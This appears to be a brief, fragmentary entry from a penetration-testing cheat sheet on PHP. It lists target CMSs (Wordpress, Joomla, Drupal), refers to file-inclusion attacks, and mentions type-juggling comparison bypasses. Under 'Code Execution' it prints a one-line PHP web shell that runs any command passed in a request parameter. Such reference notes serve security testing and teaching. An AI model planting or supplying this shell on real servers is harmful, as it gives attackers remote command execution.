PHP

PHP is a popular general-purpose scripting language that is especially suited to web development. It was originally created by Rasmus Lerdorf in 1994; the PHP reference implementation is now produced by The PHP Group.

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General

Wordpress Joomla Drupal

File inclusions (LFI & RFI)

See File inclusions (LFI, RFI)

Code Execution

PHP code execution

<?php echo system($_REQUEST['cmd']); ?>

PHP Type Confusion

( == vs === with 0e12345) [Type Juggling]